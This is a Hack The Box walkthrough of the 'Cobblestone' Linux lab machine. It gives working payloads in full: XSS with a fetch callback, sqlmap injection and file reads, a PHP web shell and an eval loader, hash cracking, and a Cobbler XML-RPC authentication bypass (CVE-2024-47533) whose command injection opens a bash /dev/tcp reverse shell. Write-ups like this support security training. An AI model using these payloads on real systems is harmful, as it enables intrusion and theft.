Hack The Box / LINUX / 2026-08-15
Hack The Box — Cobblestone (Linux)
We begin with a SQL injection in a web application, which allows us to read files on the remote system. We can also upload a PHP web shell, which allows us to read the users table in a database. We crack a password and log in via SSH. Finally, we exploit a vulnerability in Cobbler XML-RPC API to get root.
Target
- IP:
10.129.211.128
Port scan
sudo nmap -sC -sV 10.129.211.128 -p- -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA)
|_ 256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519)
80/tcp open http Apache httpd 2.4.62
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://cobblestone.htb/
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add cobblestone.htb to /etc/hosts.
Initial enumeration
Go to http://cobblestone.htb.
It seems to refer to a Minecraft server.
At the bottom of the page it says:
Join 229 other players on mc.cobblestone.htb
Add mc.cobblestone.htb to /etc/hosts.
ffuf -u 'http://cobblestone.htb/' -H 'Host: FUZZ.cobblestone.htb' -w /home/kali/wordlists/subdomains-top1million-110000.txt -t 50 -fw 18
vote [Status: 302, Size: 81, Words: 10, Lines: 4, Duration: 14ms]
deploy [Status: 200, Size: 1745, Words: 121, Lines: 52, Duration: 7ms]
Actually, those links were already present in the homepage.
Add them to /etc/hosts.
Click on the skins.
We need to log in. We can register.
Register with a random user and log in.
There is a table with skins.
There is a download button; for example it leads to a link like:
http://cobblestone.htb/download.php?skin=/skins/sword4000.png
It seems we cannot do anything here for the moment.
Go to http://vote.cobblestone.htb/.
It is a PHP site.
We can register. Register with a random user.
Log in.
At index.php there is a table with URLs, vote count, and an upvote button.
The URLs point to pages like:
http://vote.cobblestone.htb/details.php?id=1
Go to that link. There is a page with:
Suggestion #1 - mc.cobblestone.htbApproved: false
Still at index.php there is a suggest tab.
We can put a URL of a Minecraft server and submit it for approval.
For example, use <h1>ciao</h1> and submit it.
Then we see it displayed in large size, so it seems to be XSS.
Even <script>alert(1);</script> works.
If we try to upvote a site, the site says the vote is not implemented.
If we set up a listener:
python3 -m http.server 80
and then try to place this XSS payload:
<img src=x onerror=fetch("http://10.10.15.37/pwnd",{mode:"no-cors"}); >
A request arrives from us. If we wait a bit, though, nothing arrives from others.
SQL injection
We try to put a SQL injection payload as the URL, for example:
' or 1=1 --
Then go to the site, in my case: http://vote.cobblestone.htb/details.php?id=5.
We notice:
Suggestion #1 - mc.cobblestone.htbApproved: false
So there is a SQL injection.
If we try a UNION payload, we discover that this works:
' union select 1,2,3,4,5 --
In addition, we see:
Suggestion #1 - 4
So the column 4 is the one displayed.
Payload:
' union select 1,2,3,database(),5 --
Result:
vote
Use SQLMap.
Set a URL to some arbitrary value, for example 'a'. Intercept the request with Burp. Save it to a file request.txt.
sqlmap -r request.txt -p url
We get:
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: url (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: url=a' AND 1079=1079 AND 'tGOX'='tGOX
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: url=a' AND (SELECT 7521 FROM (SELECT(SLEEP(5)))qSpE) AND 'twrn'='twrn
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: url=-3803' UNION ALL SELECT CONCAT(0x7162766271,0x494e444158575647434346567a635852676a59617941766956766575784a745a796a44465a767549,0x7176787071),NULL,NULL,NULL,NULL-- -
---
[23:39:04] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[23:39:04] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/vote.cobblestone.htb'
[*] ending @ 23:39:04 /2025-08-10/
sqlmap -r request.txt -p url --dbs
available databases [2]:
[*] information_schema
[*] vote
sqlmap -r request.txt -p url -D vote --tables
[2 tables]
+-------+
| users |
| votes |
+-------+
sqlmap -r request.txt -p url -D vote -T users --dump --no-cast
+----+------------------------+----------+--------------------------------------------------------------+----------+-----------+
| id | Email | LastName | Password | Username | FirstName |
+----+------------------------+----------+--------------------------------------------------------------+----------+-----------+
| 1 | cobble@cobblestone.htb | | $2y$10$6XMWgf8RN6McVqmRyFIDb.6nNALRsA./u4HAF2GIBs3xgZXvZjv86 | admin | Admin |
| 10 | test12@test.com | test12 | $2y$10$q370RXyWVh3p/BPG3Eyu4OROqXy19wfjn1JBpeHWmjNA2TITlGmFy | test12 | test12 |
| 11 | a@a.com | a | $2y$10$HS0a9CbDKu0Rhes9ladGPOfpoC6zceEjGd.29ClR70ss8sDEkk4AW | a | a |
| 12 | b@b.com | a | $2y$10$vBBMbxeBTcC9sQzRI/CF5eeKUiOL2hzs/25TDOnd1xCkn7N7Pdi72 | b | a |
+----+------------------------+----------+--------------------------------------------------------------+----------+-----------+
The last 3 users are my test accounts.
Put the hash $2y$10$6XMWgf8RN6McVqmRyFIDb.6nNALRsA./u4HAF2GIBs3xgZXvZjv86 in a file called hash.
./hashcat/hashcat -a 0 -m 3200 ./hash ./rockyou.txt
Or:
./john/run/john --format=bcrypt-opencl --wordlist=./rockyou.txt ./hash
It does not crack.
Reading files on the remote system
sqlmap -r request.txt -p url --file-read /etc/passwd
We notice the user john.
sqlmap -r request.txt -p url --file-read /etc/apache2/sites-available/000-default.conf
<VirtualHost *:80>
RewriteEngine On
RewriteCond %{HTTP_HOST} !^cobblestone.htb$
RewriteRule /.* http://cobblestone.htb/ [R]
ServerName 127.0.0.1
ProxyPass "/cobbler_api" "http://127.0.0.1:25151/"
ProxyPassReverse "/cobbler_api" "http://127.0.0.1:25151/"
</VirtualHost>
<VirtualHost *:80>
ServerName cobblestone.htb
ServerAdmin cobble@cobblestone.htb
DocumentRoot /var/www/html
<Directory /var/www/html>
AAHatName cobblestone
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
RewriteEngine On
RewriteCond %{HTTP_HOST} !^cobblestone.htb$
RewriteRule /.* http://cobblestone.htb/ [R]
Alias /cobbler /srv/www/cobbler
<Directory /srv/www/cobbler>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
</VirtualHost>
<VirtualHost *:80>
ServerName deploy.cobblestone.htb
ServerAdmin cobble@cobblestone.htb
DocumentRoot /var/www/deploy
RewriteEngine On
RewriteCond %{HTTP_HOST} !^deploy.cobblestone.htb$
RewriteRule /.* http://deploy.cobblestone.htb/ [R]
</VirtualHost>
<VirtualHost *:80>
ServerName vote.cobblestone.htb
ServerAdmin cobble@cobblestone.htb
DocumentRoot /var/www/vote
RewriteEngine On
RewriteCond %{HTTP_HOST} !^vote.cobblestone.htb$
RewriteRule /.* http://vote.cobblestone.htb/ [R]
</VirtualHost>
We notice that there is another site at /cobbler_api.
We also see the site paths:
/srv/www/cobbler/var/www/deploy/var/www/vote
sqlmap -r request.txt -p url --file-read /var/www/vote/index.php
Inside, we see:
include('db/connection.php');
sqlmap -r request.txt -p url --file-read /var/www/vote/db/connection.php
Inside there are credentials:
$dbserver = "localhost";
$username = "voteuser";
$password = "thaixu6eih0Iicho]irahvoh6aigh>ie";
$dbname = "vote";
sqlmap -r request.txt -p url --file-read /var/www/deploy/index.php
This works; we can also fetch the files for the other site.
There is nothing interesting here.
We can fetch the files for the site in /var/www/html.
sqlmap -r request.txt -p url --file-read /var/www/html/index.php
sqlmap -r request.txt -p url --file-read /var/www/html/register.php
sqlmap -r request.txt -p url --file-read /var/www/html/db/connection.php
From these two files we see that another database is used, and we have credentials:
$dbserver = "localhost";
$username = "dbuser";
$password = "aichooDeeYanaekungei9rogi0eMuo2o";
$dbname = "cobblestone";
With SQLMap we cannot reach this database, though.
sqlmap -r request.txt -p url --file-read /var/www/html/skins.php
We notice that if we are admin:
<div class="tab-pane fade p-4" id="upload" role="tabpanel" aria-labelledby="upload-tab">
<?php if (isset($_SESSION['id']) && $_SESSION['role'] === 'admin') { echo $twig->render('upload.html.twig',[]); } ?>
</div>
Also, there should be a skin suggestion button, but I did not see it in the browser.
Looking at the page source, there is a form:
<form method="POST" action="suggest_skin.php">
<div class="mb-3">
<label for="username" class="form-label text-light">Username</label>
<input type="text" class="form-control" id="username" name="username" placeholder="Enter your Username" autocomplete="false" required>
</div>
<div class="mb-3">
<label for="username" class="form-label text-light">Skin Name</label>
<input type="text" class="form-control" id="name" name="name" placeholder="Enter Skin Name" autocomplete="false" required>
</div>
<div class="mb-3">
<label for="username" class="form-label text-light">Download URL</label>
<input type="text" class="form-control" id="url" name="url" placeholder="Enter Download URL" autocomplete="false" required>
</div>
<button type="submit" class="btn btn-light">Submit</button>
</form>
Also, from skins.php we see that if we are admin it uses a template, so likely there is an upload.php page.
sqlmap -r request.txt -p url --file-read /var/www/html/upload.php
Indeed, it exists.
We see that uploaded skins are placed in /var/www/html/skins/.
So it is likely a writable path for us.
Uploading a PHP web shell
We try to upload a PHP shell.
Create a file shell.php with the content:
<?php system($_GET["cmd"]); ?>
Use SQLMap to upload the file:
sqlmap -r request.txt -p url --file-write shell.php --file-dest /var/www/html/skins/shell.php
The file is uploaded.
Go to:
http://cobblestone.htb/skins/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
So we have RCE.
I tried many ways but I could not obtain a reverse shell.
So I had the idea of executing PHP code to connect to the database and dump the users.
I noticed that with SQLMap I can only upload small files.
So I uploaded a file exec_php.php with the content:
<?php eval(base64_decode($_GET["code"])) ?>
To upload it I executed:
sqlmap -r request.txt -p url --file-write exec_php.php --file-dest /var/www/html/skins/exec_php.php
At this point I wanted to run the code:
$conn=new mysqli("localhost","dbuser","aichooDeeYanaekungei9rogi0eMuo2o","cobblestone");$stmt=$conn->prepare("SELECT * FROM users");$stmt->execute();$result=$stmt->get_result();while($row=$result->fetch_assoc()){var_dump($row);} $stmt->close();$conn->close();
Which prints the rows of the users table.
Converted to base64:
JGNvbm49bmV3IG15c3FsaSgibG9jYWxob3N0IiwiZGJ1c2VyIiwiYWljaG9vRGVlWWFuYWVrdW5nZWk5cm9naTBlTXVvMm8iLCJjb2JibGVzdG9uZSIpOyRzdG10PSRjb25uLT5wcmVwYXJlKCJTRUxFQ1QgKiBGUk9NIHVzZXJzIik7JHN0bXQtPmV4ZWN1dGUoKTskcmVzdWx0PSRzdG10LT5nZXRfcmVzdWx0KCk7d2hpbGUoJHJvdz0kcmVzdWx0LT5mZXRjaF9hc3NvYygpKXt2YXJfZHVtcCgkcm93KTt9ICRzdG10LT5jbG9zZSgpOyRjb25uLT5jbG9zZSgpOw==
Now go to:
http://cobblestone.htb/skins/exec_php.php?code=JGNvbm49bmV3IG15c3FsaSgibG9jYWxob3N0IiwiZGJ1c2VyIiwiYWljaG9vRGVlWWFuYWVrdW5nZWk5cm9naTBlTXVvMm8iLCJjb2JibGVzdG9uZSIpOyRzdG10PSRjb25uLT5wcmVwYXJlKCJTRUxFQ1QgKiBGUk9NIHVzZXJzIik7JHN0bXQtPmV4ZWN1dGUoKTskcmVzdWx0PSRzdG10LT5nZXRfcmVzdWx0KCk7d2hpbGUoJHJvdz0kcmVzdWx0LT5mZXRjaF9hc3NvYygpKXt2YXJfZHVtcCgkcm93KTt9ICRzdG10LT5jbG9zZSgpOyRjb25uLT5jbG9zZSgpOw==
We get the users table.
The users that matter are these:
array(8) {
["id"]=>
int(1)
["Username"]=>
string(5) "admin"
["FirstName"]=>
string(5) "admin"
["LastName"]=>
string(5) "admin"
["Email"]=>
string(21) "admin@cobblestone.htb"
["Role"]=>
string(5) "admin"
["Password"]=>
string(64) "f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1"
["register_ip"]=>
string(1) "*"
}
array(8) {
["id"]=>
int(2)
["Username"]=>
string(6) "cobble"
["FirstName"]=>
string(6) "cobble"
["LastName"]=>
string(5) "stone"
["Email"]=>
string(22) "cobble@cobblestone.htb"
["Role"]=>
string(5) "admin"
["Password"]=>
string(64) "20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d"
["register_ip"]=>
string(1) "*"
}
We try to crack the hashes with Hashcat.
Put the hashes in a file called hash.
./hashcat/hashcat -a 0 -m 1400 ./hash ./rockyou.txt
We manage to crack the cobble hash. We get the password:
iluvdannymorethanyouknow
ssh cobble@cobblestone.htb
Enter the password found.
We have a shell.
We can get the user flag.
The shell we have is rbash, a restricted shell.
In addition, we are probably inside a chroot, because we do not see the whole filesystem.
There are really only a few binaries available:
ls -la /bin
total 1972
drwxr-xr-x 2 root root 4096 Jul 24 14:41 .
drwxr-xr-x 9 root root 4096 Jul 24 14:41 ..
-rwxr-xr-x 1 root root 44016 Oct 1 2024 cat
-rwxr-xr-x 1 root root 203152 Oct 1 2024 grep
-rwxr-xr-x 1 root root 151344 Oct 1 2024 ls
-rwxr-xr-x 1 root root 146360 Oct 1 2024 ps
-rwxr-xr-x 1 root root 1265648 Oct 1 2024 rbash
-rwxr-xr-x 1 root root 193680 Oct 1 2024 ss
ls -la /proc/*/cwd
lrwxrwxrwx 1 cobble cobble 0 Aug 13 15:09 /proc/84293/cwd -> /
So we can see the whole filesystem with:
ls -la /proc/84293/cwd/
However, we are still very limited in the commands we can run.
ss -ltpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 5 127.0.0.1:25151 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
Now we can access the site at 127.0.0.1:25151 without problems.
Forward the port with SSH:
ssh cobble@cobblestone.htb -NL 25151:127.0.0.1:25151
Cobbler XML-RPC API
Searching the internet, it appears to be the XML-RPC API of Cobbler: https://github.com/cobbler/cobbler/wiki/XMLRPC-API
There is an example of the API source code with the various methods: https://cobbler.readthedocs.io/en/latest/_modules/cobbler/api.html
We can interact with the API easily via Python.
For example, connect to it:
import xmlrpc.client
server = xmlrpc.client.Server("http://127.0.0.1:25151/")
Print the version:
server.version()
3.306
From the Cobbler source code on GitHub we see that this is the double format for the version. The real version is 3.3.6.
CVE-2024-47533
There is a vulnerability here: CVE-2024-47533.
Here is a PoC: https://github.com/advisories/GHSA-m26c-fcgh-cp6h
We can log in as admin like this:
token = server.login('', -1)
token
'kmnsUcvEm6M+aDa08Kh//h/mwFKNFQeLfw=='
We receive a token that we can pass to some functions that would otherwise not work.
It is possible to get RCE in this way, for example:
server.background_import({'path': '/tmp', 'name': '$(touch /dev/shm/pwnd)'}, token)
If we print the Cobbler log:
cat /proc/84293/cwd/var/log/cobbler/cobbler.log
We notice that the command rsync is executed with these arguments:
INFO | running: rsync -a '/tmp/' /var/www/cobbler/distro_mirror/$(touch /dev/shm/pwnd) --progress
And if we look inside /dev/shm:
ls -la /proc/84293/cwd/dev/shm
We see there is the file `pwned`, and the owner is root.
We can obtain a reverse shell.
Set up a listener with Netcat:
nc -vlnp 4444
Now execute:
server.background_import({'path': '/tmp', 'name': '$(bash -c "bash -i >& /dev/tcp/10.10.14.245/4444 0>&1")'}, token)
We get a reverse shell as the root user.